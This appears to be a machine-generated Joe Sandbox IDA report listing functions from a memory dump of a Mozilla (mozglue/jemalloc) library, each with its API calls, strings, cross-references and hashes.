MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5AFE99, 6C5AFEB7, 6C5AFED3, 6C5B0DB8, 6C5B0DD3, 6C5B19B4, 6C5B1A10
MOZ_CRASH(), xrefs: 6C5B0CA7

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: c836403f200fb3d8072496d07351cd3b397ca597fbebc7c60dfcd8d6946ab4c4
Instruction ID: dfffdc759d2a668702954ce5d2d3b1c0528f7745d8bff0f3bc5959f3090d46f9
Opcode Fuzzy Hash: c836403f200fb3d8072496d07351cd3b397ca597fbebc7c60dfcd8d6946ab4c4
Instruction Fuzzy Hash: 2CB2BE716057418FD714CF29C9A0716BFE1BF89328F28CA6DE86A9BB95D770E840CB41

Function 6C5E5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C5E5AC3
expected a Time entry, xrefs: 6C5E5CB6
schema, xrefs: 6C5E606D
ProfileBuffer parse error: %s, xrefs: 6C5E5AC8, 6C5E5CBB
name, xrefs: 6C5E5E79, 6C5E5E8F
data, xrefs: 6C5E6131

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: c5708e41999a6b5b67887a230e53e1dda56492da0067e088a99898cb17b0c297
Instruction ID: 0f7eceb15502507cab378104e932a4a13a3ef9ea5df93679c2f7b6e7c19d8a3b
Opcode Fuzzy Hash: c5708e41999a6b5b67887a230e53e1dda56492da0067e088a99898cb17b0c297
Instruction Fuzzy Hash: 59924A71A083418FD724CF29C89079EBBE1BFC9348F54891DE59A9B751DB30E849CB92

Function 6C5A7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61E744), ref: 6C5A7885
LeaveCriticalSection.KERNEL32(6C61E744), ref: 6C5A78A5
EnterCriticalSection.KERNEL32(6C61E784), ref: 6C5A78AD
LeaveCriticalSection.KERNEL32(6C61E784), ref: 6C5A78CD
EnterCriticalSection.KERNEL32(6C61E7DC), ref: 6C5A78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5A78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C5A795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5A79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C5A7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5A7C82
LeaveCriticalSection.KERNEL32(6C61E7DC), ref: 6C5A7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C5A7DAF

Strings

Dal, xrefs: 6C5A787F
Dal, xrefs: 6C5A789F

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dal$Dal
API String ID: 759993129-2259470872
Opcode ID: f7606a0fb439a9e358d6eb51d7e9945510cb671d7c07ad01b8ae3ee308f8ac46
Instruction ID: 9c06f074bba9a7fe804e008f14f6eab89e65b60fd55dfbe256d7f5ca061564f1
Opcode Fuzzy Hash: f7606a0fb439a9e358d6eb51d7e9945510cb671d7c07ad01b8ae3ee308f8ac46
Instruction Fuzzy Hash: DF02C170A0121ACFDB54CF5AC984799B7B5FF88358F2582AAD809A7705D730EE91CF84

Function 6C5E2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5E2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5E2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5E3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5E378D
set , xrefs: 6C5E36EC
get , xrefs: 6C5E3205

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 960688c97ba567976c83576e163cffba3eea8717eeaa929128fde6ff81eb4812
Instruction ID: 803365e9e14481512a134e52e9a9118c00ffd72d6faa460ae9de558ab40c9413
Opcode Fuzzy Hash: 960688c97ba567976c83576e163cffba3eea8717eeaa929128fde6ff81eb4812
Instruction Fuzzy Hash: 73325EB06083819FD324CF24C8906AEBBE2AFC9318F548D5DE5D987761DB30D94ACB56

Function 6C5D7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5D81E3, 6C5D8311
val, xrefs: 6C5D8207
name, xrefs: 6C5D7ECF, 6C5D8335
data, xrefs: 6C5D8280, 6C5D83E1
(pre-xul), xrefs: 6C5D7E88

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$val
API String ID: 3412268980-4018240950
Opcode ID: e6776093216a6658eca9a472eef84007ba306b7a30352e61f6318f5fb7521302
Instruction ID: c63bf579618887df69f1a7baa2d508774e75b9fe18082e5de17b9e029c009e55
Opcode Fuzzy Hash: e6776093216a6658eca9a472eef84007ba306b7a30352e61f6318f5fb7521302
Instruction Fuzzy Hash: 4AE18E71A043409FC714CF69C84165BFBEABBD5318F154A2DE895E7780DBB0EC098B96

Function 6C5F5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C5F6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5F6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QYl,?), ref: 6C5F6046
OutputDebugStringA.KERNEL32(?,QYl,?), ref: 6C5F6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5F6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5F6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C61148E), ref: 6C5F6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QYl,00000000,?), ref: 6C5F60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5F60C4

Strings

QYl, xrefs: 6C5F5FFC, 6C5F6042, 6C5F6045, 6C5F60B3

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QYl
API String ID: 3835517998-2071908894
Opcode ID: 90b3fe3239be6b5063b0c9ea63f18c75859e635419d963957c68d77641d3de23
Instruction ID: 86b216e196af5b05c34fb6f00bb8ba25b8c3b8ff4e461294aa349726b16801dd
Opcode Fuzzy Hash: 90b3fe3239be6b5063b0c9ea63f18c75859e635419d963957c68d77641d3de23
Instruction Fuzzy Hash: BC21E5B1A002089FDF106F29DC49A9E7BBCFF85219F008429E81AD7740CB35A949CFD6

Function 6C5B5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5B5EDB
memset.VCRUNTIME140(ew_l,000000E5,?), ref: 6C5B5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5B5FB2
memset.VCRUNTIME140(ew_l,000000E5,?), ref: 6C5B61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5B7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5B72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5B7BCD, 6C5B7C1F, 6C5B7C34, 6C5B80FD
MOZ_CRASH(), xrefs: 6C5B7BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5B730D
ew_l, xrefs: 6C5B5E9C, 6C5B5F22, 6C5B61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5B72F8

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew_l
API String ID: 2613674957-2602051935
Opcode ID: 0ebc9cabe4a5b3515ac401bd8219740f6ff6b6e5df94c903b72d7738d4a63b6e
Instruction ID: 7f2d57b544aa9a931870c54c91f91c22ef4fe31e908d6d899bb97d0af871a89f
Opcode Fuzzy Hash: 0ebc9cabe4a5b3515ac401bd8219740f6ff6b6e5df94c903b72d7738d4a63b6e
Instruction Fuzzy Hash: 37338C716067018FC308CF28C9A0615FFE2BF85368F29C6ADE5699B7A5D731E841CB51

Function 6C5E4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5E4CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5E4D0A
schema, xrefs: 6C5E48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5E4DB8, 6C5E4DD8
al, xrefs: 6C5E4F88
ProfileBuffer parse error: %s, xrefs: 6C5E4DD9
-%llu, xrefs: 6C5E4825
data, xrefs: 6C5E49B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5E4D65

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free
String ID: al$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3238059734
Opcode ID: 3a2c3caa87e57a14830892c2a0b08f8098bd789789f8aade565ee1fe109b7c85
Instruction ID: cd3be5d776bb97fcf2492fb872a025db265d01e616310a023661e262c3514b09
Opcode Fuzzy Hash: 3a2c3caa87e57a14830892c2a0b08f8098bd789789f8aade565ee1fe109b7c85
Instruction Fuzzy Hash: 76720C75918B858BD322CF34C85139BF7F5AFDA344F108B1DE4896B611EB70A886DB42

Function 6C5BD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5CD1C5), ref: 6C5BD4F2
LeaveCriticalSection.KERNEL32(6C61E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5CD1C5), ref: 6C5BD50B

Part of subcall function 6C59CFE0: EnterCriticalSection.KERNEL32(6C61E784), ref: 6C59CFF6
Part of subcall function 6C59CFE0: LeaveCriticalSection.KERNEL32(6C61E784), ref: 6C59D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5CD1C5), ref: 6C5BD52E
EnterCriticalSection.KERNEL32(6C61E7DC), ref: 6C5BD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5BD6A6
LeaveCriticalSection.KERNEL32(6C61E7DC), ref: 6C5BD712
LeaveCriticalSection.KERNEL32(6C61E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5CD1C5), ref: 6C5BD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5BD7EA

Strings

<jemalloc>, xrefs: 6C5BD827
: (malloc) Error initializing arena, xrefs: 6C5BD82C

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 98c9cf83d084377d06c880b500ce74f5edc0f6ca56172cd29d40b87dae8e49ae
Instruction ID: 29bc5c5927966ca11028c8421aa2c50034afd16ebae1e9e1d9ff94e6eeec8fd0
Opcode Fuzzy Hash: 98c9cf83d084377d06c880b500ce74f5edc0f6ca56172cd29d40b87dae8e49ae
Instruction Fuzzy Hash: CC910471A047018FD718CF2DC9A576ABBE1EB89315F14892EE45AD7F89D730E840CB86

Function 6C5F4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C5F4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F4F2E
moz_xmalloc.MOZGLUE ref: 6C5F4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C5F4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5F52E6
Sleep.KERNEL32(00000010), ref: 6C5F5481
free.MOZGLUE(?), ref: 6C5F5498

Strings

(, xrefs: 6C5F5250

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 05611f40b4f20f5b53b78c9ad8b5b2008d6830074d03b1cd179bcc7a42f80684
Instruction ID: 3313d95b3508b076eeb90083c24231a0f91361ad793a0a4238336faa0fa3602e
Opcode Fuzzy Hash: 05611f40b4f20f5b53b78c9ad8b5b2008d6830074d03b1cd179bcc7a42f80684
Instruction Fuzzy Hash: 8FF1D471A18B008FC716CF39C89162BB7F9AFD6384F05872EF856A7651DB31D8428B81

Function 6C5F7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C5F7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C5F7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F707E

Part of subcall function 6C5A81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5A81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5F709C
LocalFree.KERNEL32(?), ref: 6C5F70AA

Strings

(null), xrefs: 6C5F706A, 6C5F7083
### ERROR: %s: %s, xrefs: 6C5F7087

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: c807d7893dc02da8e43c2c351550124eede85a0dcbf5cfc845bc1f04d77bc317
Instruction ID: 88debb79605c094ca48412f7bd08e8e6d581bccdd50f8578f05f19d3bc496c53
Opcode Fuzzy Hash: c807d7893dc02da8e43c2c351550124eede85a0dcbf5cfc845bc1f04d77bc317
Instruction Fuzzy Hash: 8401BEF1A00104AFDF049BA9DC4FDAF7BBCEF89256F010425F505E3741D67169148BA5

Function 6C5B9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5BA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5BA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5BA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BA8B1, 6C5BA8D4, 6C5BA8EF

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 4fb214b306c040dbfbae4cc9241c3bc9d442d518c1884fb7829b4887a0201d50
Instruction ID: c4e3dd95f7ba8381c4f4c3f57ed212e1c200142fdd5cd68ab11e97bee1af8b5f
Opcode Fuzzy Hash: 4fb214b306c040dbfbae4cc9241c3bc9d442d518c1884fb7829b4887a0201d50
Instruction Fuzzy Hash: FB726C72A157118FD704CF29C960615FFE1BF89328F29C66DE869AB791D335E842CB80

Function 6C5E2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5E2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5E2C61

Part of subcall function 6C594DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C594E5A
Part of subcall function 6C594DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C594E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5E2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5E2E2D

Part of subcall function 6C5A81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5A81DE

Strings

expected a Time entry, xrefs: 6C5E2E36
(root), xrefs: 6C5E354F
ProfileBuffer parse error: %s, xrefs: 6C5E2E3B

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: eee09cc683e7e65ddcf2f806934cafafbacb08b255e71b5034d26cb5398af31e
Instruction ID: c784c9f12eb2893743790dda18452800e3a8bdc2908e8db2599b3de6927545a7
Opcode Fuzzy Hash: eee09cc683e7e65ddcf2f806934cafafbacb08b255e71b5034d26cb5398af31e
Instruction Fuzzy Hash: D991C070608781CFC724CF29C88469FB7E1AFC9358F104A1EE59A97B51EB30D94ACB56

Function 6C5F9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C5F9F3D
__aulldiv.LIBCMT ref: 6C5F9F77
__aullrem.LIBCMT ref: 6C5F9F8C
__aulldiv.LIBCMT ref: 6C5FA023

Strings

-Infinity, xrefs: 6C5F9E60, 6C5F9E7B
NaN, xrefs: 6C5F9EAB

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: c8188ebbf4aeb0dc9cf941e66c0a2531f6c731843b237aec0e746329a01df5db
Instruction ID: e4d6403935c469b91d42cedf872a0bc89c7127bbecfd4028bd0e069899353a1e
Opcode Fuzzy Hash: c8188ebbf4aeb0dc9cf941e66c0a2531f6c731843b237aec0e746329a01df5db
Instruction Fuzzy Hash: EDC1AE71E00318CBDB18CFA9CC50B9EB7BAAB84714F15452DD425ABB80D771AD4ACF92

Function 6C59D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C59DC08
0, xrefs: 6C59DC7F
1, xrefs: 6C59DBDD
9, xrefs: 6C59DE7F
0, xrefs: 6C59D852
, xrefs: 6C59DA88
@, xrefs: 6C59DAF6
-, xrefs: 6C59D7DD

